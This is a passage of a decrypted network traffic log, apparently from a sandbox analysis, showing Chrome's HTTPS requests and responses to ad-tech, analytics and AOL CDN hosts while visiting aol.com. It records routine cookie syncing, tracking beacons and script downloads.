2024-05-23 22:35:13 UTC	1034	OUT	GET /us?gdpr=0&gdpr_consent=&us_privacy=1YNN&loc=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D18%26buyeruid%3D%5BUID%5D%26r%3DCid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4AQ== HTTP/1.1 Host: sync.go.sonobi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __uis=3e69915a-aa81-453c-8be6-621af7150f41; HAPLB8G=s8623\|Zk/Eo
2024-05-23 22:35:13 UTC	1032	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:13 GMT content-type: text/plain; charset=utf8 content-length: 0 expires: Sat, 26 Jul 1997 05:00:00 GMT cache-control: no-cache, no-store, private p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" pragma: no-cache tcn: Choice vary: negotiate,Accept-Encoding x-go-server: go-iad-2-6-23 x-xss-protection: 0 location: https://ssp.disqus.com/match?bidder=18&buyeruid=3e69915a-aa81-453c-8be6-621af7150f41&r=Cid1YS1kM2E1YTU2Ny04OWRkLTMzZWQtYmUyMC00MGNiYjMwODcwODEiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLWQzYTVhNTY3LTg5ZGQtMzNlZC1iZTIwLTQwY2JiMzA4NzA4MTICEik4AQ== set-cookie: __uis=3e69915a-aa81-453c-8be6-621af7150f41; expires=Sat, 22 Jun 2024 22:35:12 GMT; domain=.go.sonobi.com; path=/; secure; SameSite=None set-cookie: HAPLB8G=s8623\|Zk/Ep; path=/; domain=.go.sonobi.com; SameSite=none; Secure server: sonobi-go connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.6	50454	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1372	OUT	GET /pcs/view?xai=AKAOjssXBUzzeXnNNTA8clH0B7Qbvv6ZZjIT10J566vZH3LrpeGQ9BjsPKdhw36sZ9J7ug2-deqVz2VCQcDKCSnH58EaExH1G2lvtZUS5tae7rlr2xes6G-IaLscn67XzhfRB0hMk6qOw7s6Foocf-kYQDGyWzfk8Ewnn02gtUKWsCCdzGPpC6AN4bIXJICiIMhszXEHkGRYTqd0farlFS2Zyf26Qwn00Y78hkGNUjoyPIz4hKnyiG026q4TawnEq7uSYRLWhyZ_jH8dV5BRu6sNucEsZ8w3T0JWsu2P8CNnTBP-Vm8O2Z9lvhJc38VMpWHIIQOUBtWMt0h0X9p4IQnFdelevMm95D2dOz6KmI9mfR2uemxOGJ6eYkr6bwDApzu9ufBs5dbIZx53Sj1u0uyOJO3ivjxScLb1mscKJw&sai=AMfl-YSq_Kk9ZzW9WmZ2Mci4a5YAzQ3EN9JZw4xgl2IXdZt3CoRhrHDAarq6V8MLQPFPzL4OqDLcs1fj5iKxiCOIgmI6Wxf0fp4xx2v5Mwvny9MdNZEGvnK8GFz6ZM8c7Kw&sig=Cg0ArKJSzG01Zp0A4CRmEAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:13 UTC	792	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 22:35:13 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.6	50455	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1225	OUT	GET /setuid?bidder=conversant&uid=AQAJQIhKxl4VhwIcuJI8AQEBAQEBAQCOppb-7wEBAI6mlv7v&expiration=1716590107&gpp_sid=-1&gpp=DBAA&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn19fQ==
2024-05-23 22:35:13 UTC	1229	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJjb252ZXJzYW50Ijp7InVpZCI6IkFRQUpRSWhLeGw0Vmh3SWN1Skk4QVFFQkFRRUJBUUNPcHBiLTd3RUJBSTZtbHY3diIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjEzLjQzODY1Njk0NFoifSwiZ3VtZ3VtIjp7InVpZCI6ImVfMTJlYTFkZDItNzdmMC00OWQ4LThhZWYtOTA3NjhlMTJkN2FjIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MDEuMDYzMzUzMTRaIn0sInJ1Ymljb24iOnsidWlkIjoiTFdKVFpBQk4tWC1LNFBXIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MDYuODkwMzIwMTI5WiJ9LCJ0dGQiOnsidWlkIjoiM2UwNzdiYjQtYmY0YS00YzE5LTkzM2UtYzk4ZGRkODgxNDJlIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MDQuNjk1MzgwNjk0WiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:13 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:13 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:13 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.6	50453	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1592	OUT	POST /p?s=1197805788&t=5ptYhGyoWvWQRdPS,0.2202536035403171&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503705%04A_prems%03965%04_E%03dwell%04_ts%031716503712%04_ms%03060%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:13 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:13 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:13 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.6	50457	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1591	OUT	POST /p?s=1197805788&t=0cPb5JxpXx1C1IfY,0.8277629560564705&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03060%04_E%03dwell%04_ts%031716503712%04_ms%03080%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:13 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:13 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:13 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.6	50451	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	568	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/modules/en-bundle-14.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:13 UTC	486	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 194243 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:13 GMT Etag: "0b516e4d53f828e7bb6c574bcd761d58" Last-Modified: Mon, 06 May 2024 22:01:34 GMT Server: ECAcc (lhd/35ED) Vary: Accept-Encoding x-amz-id-2: Desv6/5Eg+18sX95Im9FA++9rpTOSdXZStQRhQuniXk7eAiMlQb0V93+3VRF10Ky8sL9I60JXHQ= x-amz-request-id: Q3S7TDQRZR12KB7P x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 11873 Connection: close
2024-05-23 22:35:13 UTC	11873	IN	Data Raw: 28 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 34 5d 2c 7b 31 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6c 3d 61 28 33 34 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 24 2e 61 6a 61 78 28 7b 75 72 6c 3a 22 2f 61 70 69 2f 70 72 6f 64 75 63 74 73 2f 66 65 61 74 75 72 65 64 22 2c 64 61 74 61 54 79 70 65 3a 22 6a 73 6f 6e 22 2c 73 75 63 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 24 28 22 23 66 65 61 74 75 72 65 64 2d 70 72 6f 64 75 63 74 73 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2e 68 74 6d 6c 28 6c 28 7b 66 65 61 74 75 72 65 64 5f 70 72 6f 64 75 63 74 73 3a 65 2e 66 65 61 74 75 72 65 64 5f 70 Data Ascii: (window.webpackJsonp=window.webpackJsonp\|\|[]).push([[14],{15:function(e,t,a){var l=a(34);e.exports=function(){$.ajax({url:"/api/products/featured",dataType:"json",success:function(e){$("#featured-products-container").html(l({featured_products:e.featured_p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.6	50459	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1592	OUT	POST /p?s=1197805788&t=SP6hqMvEK8BzdOFv,0.9759727916615146&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03080%04_E%03dwell%04_ts%031716503712%04_ms%03108%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:13 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:13 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:13 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.6	50461	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	1372	OUT	GET /pcs/view?xai=AKAOjssipCgYwO1qGQqKbJ5F43mCxCPhPZjbKFR0JtdE7FfRnj5CLLqpQNjuQc614pIQbtoOhO_p5HI7dOYlDDUFEcQ2MMRjrkZHTNKLrMRPBgduc1dpRSSVvQ4GpzL9iUbjhkkkh3TOoUg7FK9HLq7CrlaGp13cgIqkKn-kfaIl21ylJzLkmRicZVzc0UY25NviTiKqjzB1OLbYMYCnSNelAwn3Rt2wk-nTeLc3Kl8VowPCJF4mdEumobJV_LZ7Zw4zAcCHGqkQxilq3M2b-mJxzrzJkVHzF1xI-rc6DQss434d0oucNTkII62OJUV78OAveENYwJmLM53L_ZHdznavlyGXPI-5_fVmB_Uk73Kycg2Dg2qR0h7ZBjU-9a5QRMCuDpuCG8txqAwEEwe4uRxJMY1cShF2c5DLdeaUGg&sai=AMfl-YQNe6qdwwIx1W7ihsAP87QeUctYduxMXwyecKqLcObAAWRfkUgraHWquyBZH72pDftd8a31mZt_pOrYQAsRIi3o76QaC4Hc1c_s52QJ9PmoKvR0DzCQJ9uK_VqqVPk&sig=Cg0ArKJSzKxqllaOlVLDEAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:13 UTC	792	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 22:35:13 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.6	50452	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:13 UTC	568	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/modules/en-bundle-18.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:13 UTC	485	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 194243 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:13 GMT Etag: "830867aaafb0a3ef3ab2612a25b6a199" Last-Modified: Mon, 06 May 2024 22:01:34 GMT Server: ECAcc (lhd/35EF) Vary: Accept-Encoding x-amz-id-2: cgjOYi3HlVkyevBEdq75bSvAzJCa71gYoJxri4I+4QHT7rZXTFQF49fHOWOWZkbgKit6TNsQmHU= x-amz-request-id: Q3SDFJXB1QKP5RDQ x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 2133 Connection: close
